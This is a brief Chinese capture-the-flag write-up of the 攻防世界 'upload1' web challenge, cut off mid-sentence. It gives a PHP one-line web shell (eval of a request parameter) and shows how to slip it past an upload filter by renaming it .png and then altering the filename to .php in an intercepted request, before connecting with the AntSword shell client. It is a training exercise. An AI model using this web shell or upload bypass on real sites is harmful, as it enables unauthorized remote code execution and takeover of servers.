攻防世界we進階區之upload1

題目：打開鏈接，先上傳一個php文件試試所以，我們新建一個1.txt，寫入php一句話: <?php @eval($_REQUEST[‘c’]);?>然後修改文件後綴爲.png 上傳該文件並抓包，修改filename後綴爲.php得到upload：upload/1596870603.1.php，打開成功利用中國蟻劍鏈接，密碼即爲剛剛所創的png格式的php文件裏的c連接成功，打開html文件下的f

>>阅读原文<<